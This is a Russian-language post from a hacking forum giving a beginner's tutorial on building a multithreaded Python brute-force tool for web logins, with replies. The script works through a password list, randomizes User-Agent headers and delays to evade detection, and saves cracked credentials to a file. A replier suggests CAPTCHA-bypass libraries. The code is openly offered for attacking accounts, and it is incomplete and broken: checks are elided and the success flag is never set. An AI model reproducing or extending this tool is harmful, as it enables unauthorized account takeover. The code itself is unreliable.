• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пишем свой брутфорс. Руководство для начинающих

hackeryaroslav

(L1) cache
Пользователь
Регистрация
11.09.2023
Сообщения
535
Реакции
521

Авторство: hackeryaroslav (харе ржать с моего ника)​


Источник: xss.pro​


Приветствую всех! Сегодня мы взглянем на брутфорс, метода атаки, где хакер стремится взломать защищенные данные, перебирая все возможные комбинации паролей. Этот мощный инструмент в руках хакера способен преодолеть даже самые надежные пароли, делая его неотъемлемой частью хакерского арсенала.

Почему же брутфорс настолько эффективен?

Его сила заключается в простоте: хакер последовательно перебирает все возможные символы, находя верный пароль. Несмотря на видимую легкость, успешная брутфорс атака требует времени и вычислительных ресурсов, что делает ее вызовом даже для опытных.

Пример успешных атак брутфорсом

1)
В 2007 году группа компаний, входящих в организацию Wi-Fi Alliance, начали продажу беспроводного оборудования для домашних сетей с поддержкой нового стандарта Wi-Fi Protected Setup. Среди производителей беспроводных маршрутизаторов, поддерживающих данную технологию, были такие крупные компании, как Cisco/Linksys, Netgear, Belkin и D-Link. Стандарт WPS был призван существенно упростить процесс настройки беспроводной сети и её использования для людей, не обладающих широкими знаниями в области сетевой безопасности. Однако, к концу 2011 года были опубликованы сведения о серьезных уязвимостях в WPS, которые позволяли злоумышленнику подобрать PIN-код беспроводной сети всего за несколько часов, обладая вычислительными ресурсами обыкновенного персонального компьютера.

Источник: wikipedia.org

2)

Недостаточно защищённые SSH-серверы Linux опять стали целью киберпреступников в новой кампании. Злоумышленники используют сканеры портов и подбор учётных данных по словарю с целью установить криптомайнер или запустить DDoS-атаки. Об атаках рассказала команда AhnLab Security Emergency Response Center (ASEC). В отчёте специалисты отмечают следующее: «Киберпреступники иногда ограничиваются установкой сканеров, после чего продают скомпрометированные IP-адреса и связанные учётные данные в дарквебе».

Источник: https://www.anti-malware.ru

3)
Британский сервис-провайдер SOS Intelligence предупреждает о появлении нового инструмента брутфорса. На его основе создан сервис поиска VPN со слабой парольной защитой, и счет жертвам взлома уже идет на тысячи. Рост числа попыток входа, связанных с VPN, вынудил экспертов запустить расследование. В итоге подозрительную активность удалось связать с неким софтом, созданным брокером начального доступа, использующим ник Bassterlord. Инструмент, предоставляемый в пользование как услуга, позволяет отыскивать в интернете VPN-службы и проверять надежность их защиты перебором ходовых логинов и паролей по списку. Судя по объявлению на хакерском форуме, в нем реализована поддержка прокси и многопоточного режима.

Источник: https://www.anti-malware.ru


Инструменты Брутфорса

Существует множество инструментов для брутфорс атаки, таких как Hydra, Medusa или John the Ripper. Они предоставляют обширные возможности для атаки на различные службы и протоколы, но почему бы нам не создать свой собственный брутфорс? Давайте попрактикуем свои умения, расширим горизонты

Почему python?

Python предоставляет простой синтаксис и богатые библиотеки, упрощая разработку и выполнение брутфорс атак. Благодаря активному сообществу, поддержке многозадачности и переносимости, Python становится эффективным выбором для написания подобных скриптов.

Итак, начнем.

Импорт библиотек:

Python:
import requests
import threading
import time
import random
import logging
import sys

Здесь подключаются необходимые библиотеки для работы с HTTP-запросами, многозадачностью, временем, случайными числами, логированием и системными операциями.

Настройка логирования:

Python:
logging.basicConfig(filename='app.log', level=logging.DEBUG)

Устанавливается конфигурация логирования, которая записывает события в файл 'app.log'.

Загрузка паролей:

Python:
def load_passwords(file_path):
with open(file_path, 'r') as f:
passwords = f.readlines()
passwords = [p.strip() for p in passwords]
return passwords

Создается функция для загрузки паролей из файла. Она возвращает список паролей.

Класс BruteForce:

Python:
class BruteForce:
def __init__(self, url, username, error_msg):
self.url = url
self.username = username
self.error_msg = error_msg
self.found = False

Создается класс BruteForce для представления объекта брутфорс атаки. У объекта есть URL, имя пользователя, сообщение об ошибке, и флаг found, указывающий, был ли найден верный пароль.

Проверка пароля:

Python:
def test_password(self, password):
try:
user_agent = random.choice(['Mozilla/5.0', 'Chrome/83.0.1'])
headers = {'User-Agent': user_agent}
data = {'username': self.username, 'password': password}
response = requests.post(self.url, headers=headers, data=data, timeout=5)
# ... (проверка статуса ответа и наличия сообщения об ошибке)
except Exception as e:
logging.error(f'Error: {e}')
pass
return False

В классе создается метод для тестирования одного пароля. Он отправляет HTTP-запрос с данными пользователя и пароля и проверяет ответ на статус и сообщение об ошибке.

Взлом паролей:

Python:
def crack_passwords(self, passwords):
    for password in passwords:
      delay = random.uniform(1, 3)
      logging.debug(f'Trying password {password}, delaying {delay} secs')
      time.sleep(delay)
      if self.found:
        with open('cracked_creds.txt', 'w') as f:
          f.write(f"{self.username}:{password}")
        break
      self.test_password(password)
# ... (задержка перед каждой попыткой, вызов метода test_password)

Еще один метод класса, который перебирает все пароли из списка, вызывая метод для тестирования каждого.

Интерактивный ввод параметров атаки:

Python:
def prompt_bruteforce():
# ... (ввод URL, имени пользователя, сообщения об ошибке и пути к файлу с паролями)
def prompt_bruteforce():
  print("Welcome to the brute force password cracker!")
 
  url = input("Enter URL: ")
  username = input("Enter username: ")
  error_msg = input("Enter error message: ")
  password_file = input("Enter password file path: ")
 
  passwords = load_passwords(password_file)
 
  bruteforcer = BruteForce(url, username, error_msg)
  threads = []
  for i in range(5):
    t = threading.Thread(target=bruteforcer.crack_passwords, args=(passwords,))
    threads.append(t)
    t.start()
  print("Cracking passwords...")
  for t in threads:
    t.join()
 
  print("Done!")

Создается функция для ввода параметров атаки.

Создание потоков для взлома:

Python:
for i in range(5):
t = threading.Thread(target=bruteforcer.crack_passwords, args=(passwords,))
threads.append(t)
t.start()

Запускаются 5 потоков, каждый из которых выполняет метод взлома паролей.

Ожидание завершения всех потоков:

Python:
for t in threads:
t.join()

Ожидается завершение всех потоков перед выводом сообщения о завершении.

Запуск атаки:

Python:
if __name__ == '__main__':
while True:
start = input("Start brute force attack? (y/n): ")
if start.lower() == 'y':
prompt_bruteforce()
break
else:
print("Exiting...")
break

Запускается атака, если пользователь вводит 'y'. В противном случае программа завершается. При успехе, программа сохранит логин и пароль в файл cracked_creds.txt в виде login:pass

screenshot.png


Если возникнут вопросы или нужна дополнительная помощь, не стесняйтесь задавать. Редактируйте код, экспериментируйте и делитесь своими успехами ниже. Помните, что знание — сила, и ваши навыки могут создать настоящий эффект.
Вот и все! Если у вас есть какие либо вопросы задавайте. В этой статье вы написали свою первую брутфорс программу на python. Ниже вы найдете файл со всем написанном выше кодом, смело редактируйте под свои нужды и делитесь ими здесь. Надеюсь статья была полезной!
 

Вложения

  • log.zip
    1.1 КБ · Просмотры: 15
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Глянул код, видимо автор пытался создать уникальный брутфорс… Это довольно таки бессмысленно, код не будет функционировать по причине отсутствия решения капчи, на каждом сайте свое жсон-тело, свои хедеры, и тд.. Введение неплохое, но код к сожалению полностью не рабочий, и под каждый сервис нужно разрабатывать свой брутфорс.
 
Глянул код, видимо автор пытался создать уникальный брутфорс… Это довольно таки бессмысленно, код не будет функционировать по причине отсутствия решения капчи, на каждом сайте свое жсон-тело, свои хедеры, и тд.. Введение неплохое, но код к сожалению полностью не рабочий, и под каждый сервис нужно разрабатывать свой брутфорс.
Ну, сначала можно подчеркнуть, что статья не претендует на универсальность, а скорее служит введением в создание простого брутфорс инструмента на Python. Статья ориентирована на новичков и написана с целью принципов брутфорса.

Ты прав, что настоящий брутфорс для каждого конкретного сервиса требует дополнительной настройки и адаптации к особенностям сайта, включая обход капчи, правильные заголовки и т.д. Однако, предоставленный код служит хорошей отправной точкой для новичков, чтобы они могли понять базовые концепции. Если есть интерес, можно предложить тему продвинутого брутфорса для будущих статей, где будут рассмотрены более сложные сценарии и техники атаки.
 
отсутствия решения капчи, на каждом сайте свое жсон-тело, свои хедеры, и тд..
Да, согласен с вами, но капча довольно просто обходится той же библиотекой anticaptcha.
https://github[.]com/anti-captcha/anticaptcha-python
А в целом статья дельная. Вы можете сказать, что обход капчи в комбинации с брутфорсом будет весьма медленным. Верно, это можно решить с помощью JIT-ов, например, PyPy (ради бога, не ставьте это на шинду, а перейдите на линукс, иначе шиза обеспечена)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх